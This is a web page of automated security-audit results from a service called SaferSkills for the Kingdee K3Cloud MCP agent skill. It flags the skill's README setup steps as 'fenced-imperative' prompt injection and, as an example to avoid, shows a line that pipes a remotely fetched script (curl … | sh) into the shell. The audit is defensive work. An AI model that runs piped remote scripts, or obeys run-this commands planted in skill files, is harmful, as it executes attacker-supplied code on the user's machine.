kingdee-k3cloud-mcp— agent skill

金蝶云星空 K3Cloud MCP Server,让 AI 助手(Claude Desktop、Claude Code、Cursor、Cline、Cherry Studio、Openclaw 等任意支持 MCP 协议的客户端)通过自然语言查询和操作金蝶 ERP 系统。

by adamzhang1987·Agent Skill·github.com/adamzhang1987/kingdee-k3cloud-mcp

Is kingdee-k3cloud-mcp safe to install?

SaferSkills independently audited kingdee-k3cloud-mcp (Agent Skill) and scored it 82/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 2 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
82/100
●●●●●●●●○○
↑ +0 since first scan (82 → 82)Re-scan~30s
Latest scan
ScannedJun 26, 2026 · 31d ago
Scans run1 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 2 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
50
17.5 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 2 flagged

Securityscore 50 · 2 findings
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.en.md×2
HIGHa successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptREADME.en.md· markdown
42```bash
43# Option A: create a .env file in the current directory (loaded automatically on startup)
44cp .env.example .env # fill in real values, then run
45uvx kingdee-k3cloud-mcp
46 
47# Option B: export temporarily in the shell
48export KD_SERVER_URL=https://your-server/k3cloud/
49export KD_ACCT_ID=your_acct_id
50export KD_USERNAME=your_username
Occurrences
2 occurrences · first at L42, also L58
Show all 2 locations
Line
File
L42
README.en.md
L58
README.en.md
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256e48b20232eaae70drubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.